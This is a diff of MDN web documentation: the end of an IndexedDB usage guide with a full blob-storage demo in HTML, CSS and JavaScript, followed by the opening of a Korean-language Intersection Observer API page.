+<p>First, you should take care to always leave your database in a consistent state at the end of every transaction. For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit. You save the list after the edit by clearing the object store and then writing out the new list. If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database. To avoid this, you should combine the clear and the write into a single transaction. </p>
+
+<p>Second, you should never tie database transactions to unload events. If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete. An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes. However, this will not work. The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.</p>
+
+<p>In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown. See {{ bug(870645) }}. As a workaround for this normal shutdown notification, you might track your transactions and add a <code>beforeunload</code> event to warn the user if any transactions have not yet completed at the time of unloading.</p>
+
+<p>At least with the addition of the abort notifications and {{domxref("IDBDatabase.onclose")}}, you can know when this has happened.</p>
+
+<h2 id="Locale-aware_sorting">Locale-aware sorting</h2>
+
+<p>Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn’t handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:</p>
+
+<ul>
+ <li>a</li>
+ <li>b</li>
+ <li>z</li>
+ <li>á</li>
+</ul>
+
+<p>which is obviously not how users want their data to be sorted — Aaron and Áaron for example should go next to one another in a contacts list. Achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side JavaScript, which is not very efficient.</p>
+
+<p>This new functionality enables developers to specify a locale when creating an index using {{domxref("IDBObjectStore.createIndex()")}} (check out its parameters.) In such cases, when a cursor is then used to iterate through the dataset, and you want to specify locale-aware sorting, you can use a specialized {{domxref("IDBLocaleAwareKeyRange")}}.</p>
+
+<p>{{domxref("IDBIndex")}} has also had new properties added to it to specify if it has a locale specified, and what it is: <code>locale</code> (returns the locale if any, or null if none is specified) and <code>isAutoLocale</code> (returns <code>true</code> if the index was created with an auto locale, meaning that the platform's default locale is used, <code>false</code> otherwise.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is currently hidden behind a flag — to enable it and experiment, go to <a>about:config</a> and enable <code>dom.indexedDB.experimental</code>.</p>
+</div>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Full IndexedDB example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate"><code>&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+    &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+    &lt;div class="note"&gt;
+      &lt;p&gt;
+        Works and tested with:
+      &lt;/p&gt;
+      &lt;div id="compat"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="msg"&gt;
+    &lt;/div&gt;
+
+    &lt;form id="register-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-title" class="required"&gt;
+                Title:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid" class="required"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-year"&gt;
+                Year:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file"&gt;
+                File image:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="file" id="pub-file"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file-url"&gt;
+                Online-file image URL:&lt;br/&gt;
+                &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+        &lt;input type="reset" id="register-form-reset"/&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="delete-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid-to-delete"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="key-to-delete"&gt;
+                Key:&lt;br/&gt;
+                &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="key-to-delete"
+                     name="key-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+        &lt;input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="search-form"&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="search-list-button"
+               value="List database content" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;div&gt;
+      &lt;div id="pub-msg"&gt;
+      &lt;/div&gt;
+      &lt;div id="pub-viewer"&gt;
+      &lt;/div&gt;
+      &lt;ul id="pub-list"&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;</code></pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css notranslate"><code>body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}</code></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js notranslate"><code>(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', "&gt;= 16.0"],
+    ['Google Chrome',
+     "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+                     '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('&lt;li&gt;' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '&lt;/li&gt;');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &amp;&amp;
+              typeof value.blob != 'undefined') {
+            var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('&lt;iframe /&gt;');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('&lt;img id="' + img_id + '"/&gt;');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+      if (xhr.status == 200) {
+        console.log("Blob retrieved");
+        var blob = xhr.response;
+        console.log("Blob:", blob);
+        addPublication(biblioid, title, year, blob);
+      } else {
+        console.error("addPublicationFromUrl error:",
+        xhr.responseText, xhr.status);
+      }
+    };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+    };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)</code></pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Further reading for you to find out more information if desired.</p>
+
+<h3 id="Reference">Reference</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_JavaScript_Generators_in_Firefox">Using JavaScript generators in Firefox</a></li>
+ <li>IndexedDB <a href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files</a> in the Firefox source code</li>
+</ul>
+
+<h3 id="Tutorials_and_guides">Tutorials and guides</h3>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: A Polyfill providing a simple name:value syntax for client-side data storage, which uses IndexedDB in the background, but falls back to WebSQL and then localStorage in browsers that don't support IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">dexie.js</a>: A wrapper for IndexedDB that allows much faster code development via nice, simple syntax.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: A MongoDB-like interface for IndexedDB that supports most of the familiar filtering, projection, sorting, updating and aggregation features of MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: A simple and advanced IndexedDB wrapper having SQL like syntax. </li>
+</ul>
diff --git a/files/ko/web/api/intersection_observer_api/index.html b/files/ko/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..b8b7af4cce
--- /dev/null
+++ b/files/ko/web/api/intersection_observer_api/index.html
@@ -0,0 +1,598 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+translation_of: Web/API/Intersection_Observer_API
+---
+<div>{{DefaultAPISidebar("Intersection Observer API")}}</div>
+
+<p class="summary"><span class="seoSummary">Intersection Observer API는 타겟 요소와 상위 요소 또는 최상위 document 의 {{Glossary("viewport")}} 사이의 intersection 내의 변화를 비동기적으로 관찰하는 방법입니다.</span></p>
+
+<p>역사적으로 요소의 가시성이나 두 요소의 상대적인 가시성을 탐지하는 것은 어려운 일이었습니다. 일반적으로 알려진 해결방법은 신뢰성이 부족하고 브라우저나 사이트에 부하를 주기때문에 좋지 못한 사용자 경험을 낳습니다. 웹이 성숙함에따라 이러한 정보의 필요성은 커졌습니다. intersection 정보는 아래와 같은 여러가지 이유 때문에 필요합니다:</p>
+
+<ul>
+ <li>페이지가 스크롤 되는 도중에 발생하는 이미지나 다른 컨텐츠의 지연 로딩.</li>
+ <li>스크롤 시에, 더 많은 컨텐츠가 로드 및 렌더링되어 사용자가 페이지를 이동하지 않아도 되게 하는 infinite-scroll 을 구현.</li>
+ <li>광고 수익을 계산하기 위한 용도로 광고의 가시성 보고.</li>
+ <li>사용자에게 결과가 표시되는 여부에 따라 작업이나 애니메이션을 수행할 지 여부를 결정.</li>
+</ul>
+
+<p>과거에 intersection 감지를 구현하면 영향을 받는 모든 요소를 알기 위해서 {{domxref("Element.getBoundingClientRect()")}}와 같은 메서드를 호출하는 여러 이벤트 핸들러와 루프가 얽혀있었습니다. 모든 코드가 메인 스레드에서 실행되기 때문에, 이 중 하나라도 성능 문제를 일으킬 수 있습니다. 사이트가 이러한 테스트들과 함께 로드되면 상황이 더욱 나빠질 수 있습니다.</p>
+
+<p>infinite-scroll이 구현된 웹 페이지를 생각해보십시오. 공급 업체가 제공하는 라이브러리를 사용하여 페이지 전체에 주기적으로 배치되는 광고를 관리하고 여기저기 애니메이션 그래픽이 있으며 알림 상자 등을 그리는 사용자 라이브러리를 사용합니다. 요소들 각각은 자신만의 교차 감지 루틴이 존재하고 이 모든 것들은 메인 스레드 위에서 동작합니다. </p>
+
+<p>웹 페이지의 작성자는 사용중인 두 라이브러리의 내부 동작을 거의 알지 못하므로 이러한 일이 발생하는 것을 알지 못할 수도 있습니다. 사용자가 페이지를 스크롤할 때, 이러한 교차 탐지 루틴은 스크롤 처리 코드 중에 반복적으로 실행되므로 사용자는 브라우저, 웹사이트 및 컴퓨터에 좌절감을 느끼게 됩니다.</p>
+
+<p>Intersection Observer API 는 그들이 감시하고자 하는 요소가 다른 요소({{Glossary("viewport")}})에 들어가거나 나갈때 또는 요청한 부분만큼 두 요소의 교차부분이 변경될 때 마다 실행될 콜백 함수를 등록할 수 있게 합니다. 즉, 사이트는 요소의 교차를 지켜보기 위해 메인 스레드를 사용할 필요가 없어지고 브라우저는 원하는 대로 교차 영역 관리를 최적화 할 수 있습니다.</p>
+
+<p>정확히 몇 픽셀이 겹쳐졌고 어떠한 픽셀이 겹쳐졌는지 Intersection Observer API 가 알려줄 수 없습니다. 그러나 "N% 정도 교차하는 경우 상호작용이 이루어져야한다." 와 같은 더 일반적인 사용 사례를 다룰 수 있습니다.</p>
+
+<h2 id="Intersection_observer_의_컨셉과_사용">Intersection observer 의 컨셉과 사용</h2>
+
+<p>Intersection Observer API는 다음과 같은 상황에 호출되는 콜백을 생성하는 기능을 제공합니다:</p>
+
+<p>(1) <strong>대상(target) </strong>으로 칭하는 요소가 기기 뷰포트나 특정 요소(이 API에서 이를 <strong>root</strong> 요소 혹은 <strong>root</strong>로 칭함)와 교차함.</p>
+
+<p>(2) observer가 최초로 타겟을 관측하도록 요청받을 때마다.</p>
+
+<p>일반적으로, 당신은 요소의 교차성이 가장 가까운 스크롤 가능한 조상에 의해 변경되길 원할 것입니다(혹은 대상 요소가 다른 요소의 자손이 아니라면 뷰포트에 의해 변경될 수 있을 것입니다). document의 루트 요소를 기준으로 해당 요소를 관측하기 위해서는 <code>null</code>을 설정하세요.</p>
+
+<p>당신이 뷰포트 혹은 다른 요소를 root로 사용하건 간에, 이 API는 같은 방식으로 동작합니다. 대상 요소의 가시성이 변경될 때마다 당신이 등록한 콜백 함수를 실행하며, 그것은 당신이 원하는 만큼 root 요소와 교차합니다.</p>
+
+<p>root 와 대상 요소가 교차하는 정도를 <strong>intersection ratio </strong>라고 합니다. 이것은 대상 요소의 가시성 퍼센티지를 0.0~1.0의 숫자로 표현합니다.</p>
+
+<h3 id="intersection_observer_생성하기">intersection observer 생성하기</h3>
+
+<p>intersection observer를 생성하기 위해서는 생성자 호출 시 콜백 함수를 제공해야 합니다. 이 콜백 함수는 threshold가 한 방향 혹은 다른 방향으로 교차할 때 실행됩니다.</p>
+
+<pre class="brush: js">let options = {
+  root: document.querySelector('#scrollArea'),
+  rootMargin: '0px',
+  threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);
+</pre>
+
+<p><code>threshold: 1.0</code> 은 대상 요소가 <code>root</code> 에 지정된 요소 내에서 100% 보여질 때 콜백이 호출될 것을 의미합니다.</p>
+
+<h4 id="Intersection_observer_설정">Intersection observer 설정</h4>
+
+<p>{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 생성자에 전달되는 <code>options</code> 객체는 observer 콜백이 호출되는 상황을 조작할 수 있습니다. 이는 아래와 같은 필드를 가집니다:</p>
+
+<dl>
+ <dt><code>root</code></dt>
+ <dd>대상 객체의 가시성을 확인할 때 사용되는 뷰포트 요소입니다. 이는 대상 객체의 조상 요소여야 합니다. 기본값은 브라우저 뷰포트이며, <code>root</code> 값이 <code>null</code> 이거나 지정되지 않을 때 기본값으로 설정됩니다.</dd>
+ <dt><code>rootMargin</code></dt>
+ <dd>root 가 가진 여백입니다. 이 속성의 값은 CSS의 {{cssxref("margin")}} 속성과 유사합니다. e.g. "<code>10px 20px 30px 40px"</code> (top, right, bottom, left). 이 값은 퍼센티지가 될 수 있습니다. 이것은 root 요소의 각 측면의 bounding box를 수축시키거나 증가시키며, 교차성을 계산하기 전에 적용됩니다. 기본값은 0입니다.</dd>
+ <dt><code>threshold</code></dt>
+ <dd>observer의 콜백이 실행될 대상 요소의 가시성 퍼센티지를 나타내는 단일 숫자 혹은 숫자 배열입니다. 만일 50%만큼 요소가 보여졌을 때를 탐지하고 싶다면, 값을 <code>0.5</code>로 설정하면 됩니다. 혹은 25% 단위로 요소의 가시성이 변경될 때마다 콜백이 실행되게 하고 싶다면 <code>[0, 0.25, 0.5, 0.75, 1]</code> 과 같은 배열을 설정하세요.<br>
